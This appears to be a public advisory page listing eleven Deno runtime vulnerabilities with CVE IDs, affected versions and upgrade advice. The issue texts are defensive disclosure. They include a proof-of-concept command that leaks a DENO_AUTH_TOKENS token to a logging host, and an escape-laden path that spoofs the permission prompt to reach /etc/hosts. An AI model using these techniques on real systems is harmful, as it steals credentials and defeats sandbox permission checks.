Skip to content

← Public intelligence

crates.io package

deno

Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.

Open advisories

36 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.

  1. Medium, CVSS 4.6crates.ioPublished

    Deno's improper suffix match testing for DENO_AUTH_TOKENS

    CVE-2024-27932 · GHSA-5frw-4rwq-xhcr

    Affected
    • crates.io deno >= 1.8.0, < 1.40.4
    Fixed in
    1.40.4· Vendor fix available
    Issue
    Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com. Details authtokens.rs uses a simple endswith check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens. PoC - Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com. - Run DENOAUTHTOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENOAUTHTOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain Impact What kind of vulnerability is it? Who is impacted? Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected.

    Recommended action: Upgrade to 1.40.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  2. High, CVSS 8.8crates.ioPublished

    Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping

    CVE-2024-27936 · GHSA-m4pq-fv2w-6hrw

    Affected
    • crates.io deno >= 1.32.1, < 1.41.0
    Fixed in
    1.41.0· Vendor fix available
    Issue
    A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents. Details In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences. For example, requesting the read permission with /tmp/hello\u001b/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts, which is /etc/hosts after the normalization. This difference allows a malicious Deno program to spoof the contents of the permission prompt. PoC Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts. Expected prompt Actual prompt Impact Any Deno program can spoof the…

    Recommended action: Upgrade to 1.41.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  3. High, CVSS 7.2crates.ioPublished

    Deno's Node.js Compatibility Runtime has Cross-Session Data Contamination

    CVE-2024-27935 · GHSA-wrqv-pf6j-mqjp

    Affected
    • crates.io deno >= 1.35.1, < 1.36.3
    Fixed in
    1.36.3· Vendor fix available
    Issue
    A vulnerability in Deno's Node.js compatibility runtime allows for cross-session data contamination during simultaneous asynchronous reads from Node.js streams sourced from sockets or files. The issue arises from the re-use of a global buffer (BUF) in streamwrap.ts used as a performance optimization to limit allocations during these asynchronous read operations. This can lead to data intended for one session being received by another session, potentially resulting in data corruption and unexpected behavior. Details A bug in Deno's Node.js compatibility runtime results in data cross-reception during simultaneous asynchronous reads from Node.js network streams. When multiple independent network socket connections are involved, this vulnerability can be triggered. For instance, two separate server sockets that receive data from their respective client sockets and then echo the received data back to the client using Node.js streams may experience an issue where data from one…

    Recommended action: Upgrade to 1.36.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  4. Medium, CVSS 5.8crates.ioPublished

    Insufficient permission checking in Deno.makeTemp* APIs

    CVE-2024-27931 · GHSA-hrqr-jv8w-v9jh

    Affected
    • crates.io deno < 1.41.1
    Fixed in
    1.41.1· Vendor fix available
    Issue
    Impact Insufficient validation of parameters in Deno.makeTemp APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems. A user may provide a prefix or suffix to a Deno.makeTemp API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory: Patches This is fixed in Deno 1.41.1.

    Recommended action: Upgrade to 1.41.1 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  5. High, CVSS 8.6crates.ioPublished

    Missing "--allow-net" permission check for built-in Node modules

    CVE-2023-33966 · GHSA-vc52-gwm3-8v2f

    Affected
    • crates.io deno >= 1.34.0, <= 1.34.0
    Fixed in
    1.34.1· Vendor fix available
    Issue
    Impact Outbound HTTP requests made using the built-in "node:http" or "node:https" modules are incorrectly not checked against the network permission allow list (--allow-net). Dependencies relying on these built-in modules are subject to the vulnerability too. Users of Deno versions prior to 1.34.0 are unaffected. Deno Deploy users are unaffected. Patches This problem has been patched in Deno v1.34.1 and all users are recommended to update to this version. Workarounds No workaround is available for this issue.

    Recommended action: Upgrade to 1.34.1 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  6. Medium, CVSS 5.3crates.ioPublished

    Regular Expression Denial of Service in Deno.upgradeWebSocket API

    CVE-2023-26103 · GHSA-jc97-h3h9-7xh6

    Affected
    • crates.io deno >= 1.12.0, < 1.31.0
    Fixed in
    1.31.0· Vendor fix available
    Issue
    Impact Versions of the package deno before 1.31.0 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the upgradeWebSocket function, which contains regexes in the form of /s,s/, used for splitting the Connection/Upgrade header. A specially crafted Connection/Upgrade header can be used to significantly slow down a web socket server. Patches It is recommended that users upgrade to Deno 1.31.0.

    Recommended action: Upgrade to 1.31.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  7. High, CVSS 8.8crates.ioPublished

    Interactive run permission prompt spoofing via improper ANSI neutralization

    CVE-2023-28446 · GHSA-vq67-rp93-65qf

    Affected
    • crates.io deno >= 1.8.0, < 1.31.2
    Fixed in
    1.31.2· Vendor fix available
    Issue
    Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a opspawnchild or opkill prompt and replace it with any desired text. Details The main entry point comes down to the ability to override what the API control says (40process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in opkill. PoC This PoC works on 1.31.1, but modified versions of it work on older versions. Make a file, e.g. index.ts, that uses this vulnerability to spoof the opspawnchild permission prompt Run the file with deno run index.ts. Impact Any Deno program is able to spoof the interactive permission prompt for the opspawnchild or the opkill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:…

    Recommended action: Upgrade to 1.31.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  8. High, CVSS 8.8crates.ioPublished

    Deno is vulnerable to race condition via interactive permission prompt spoofing

    CVE-2023-22499 · GHSA-mc52-jpm2-cqh6

    Affected
    • crates.io deno >= 1.9.0, < 1.29.3
    Fixed in
    1.29.3· Vendor fix available
    Issue
    Impact Multi-threaded programs were able to spoof interactive permission prompt by rewriting the prompt to suggest that program is waiting on user confirmation to unrelated action. A malicious program could clear the terminal screen after permission prompt was shown and write a generic message like so: This situation impacts users who use Web Worker API and relied on interactive permission prompt. The reproduction is very timing sensitive and can’t be reliably reproduced on every try. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). Patches The problem has been fixed in Deno v1.29.3; it is recommended all users update to this version. Workarounds Run with --no-prompt flag to disable interactive permission prompts.

    Recommended action: Upgrade to 1.29.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  9. High, CVSS 8.4crates.ioPublished

    Link Following in Deno

    CVE-2021-41641 · GHSA-67hm-27mx-9cg7

    Affected
    • crates.io deno < 1.16.0
    Fixed in
    1.16.0· Vendor fix available
    Issue
    Deno <=1.14.0 file sandbox does not handle symbolic links correctly. When running Deno with specific write access, the Deno.symlink method can be used to gain access to any directory.

    Recommended action: Upgrade to 1.16.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  10. Critical, CVSS 10.0crates.ioPublished

    Sandbox bypass leading to arbitrary code execution in Deno

    CVE-2022-24783 · GHSA-838h-jqp6-cf2f

    Affected
    • crates.io deno >= 1.18.0, < 1.20.3
    Fixed in
    1.20.3· Vendor fix available
    Issue
    Impact The versions of Deno between release 1.18.0 and 1.20.2 (inclusive) are vulnerable to an attack where a malicious actor controlling the code executed in a Deno runtime could bypass permission checks and execute arbitrary shell code. There is no evidence that this vulnerability has been exploited in the wild. This vulnerability does not affect users of Deno Deploy. Patches The vulnerability has been patched in Deno 1.20.3. Workarounds There is no workaround. All users are recommended to upgrade to 1.20.3 immediately --- The cause of this error was that certain FFI operations did not correctly check for permissions. The issue was fixed in this pull request.

    Recommended action: Upgrade to 1.20.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  11. Critical, CVSS 9.8crates.ioPublished

    Deno's static imports inside dynamically imported modules do not adhere to permission checks

    CVE-2021-32619 · GHSA-xpwj-7v8q-mcgj

    Affected
    • crates.io deno >= 1.5.0, <= 1.10.1
    Fixed in
    1.10.2· Vendor fix available
    Issue
    Impact Modules that are dynamically imported through import() or new Worker might have been able to bypass network and file system permission checks when statically importing other modules. In Deno 1.5.x and 1.6.x only programs dynamically importing (especially transitively) untrusted code are affected. In Deno 1.7.x all programs importing (especially transitively) untrusted code are affected. In effect an attacker in control of a (possibly remote) module in a programs module graph has been able to, irrespective of permissions: 1. initiate GET requests to arbitrary URLs on the internet (including LAN) and possibly read (parts of) the contents of these resources. 2. check for existence of arbitrary paths on the file system, and possibly read (parts of) the contents of these files. In Deno 1.5.x (October 27th, 2020) and Deno 1.6.x (December 8th, 2020) the attacker module had to have been granted permissions to load dynamically through the network / fs read permission. Since Deno 1.7.x…

    Recommended action: Upgrade to 1.10.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →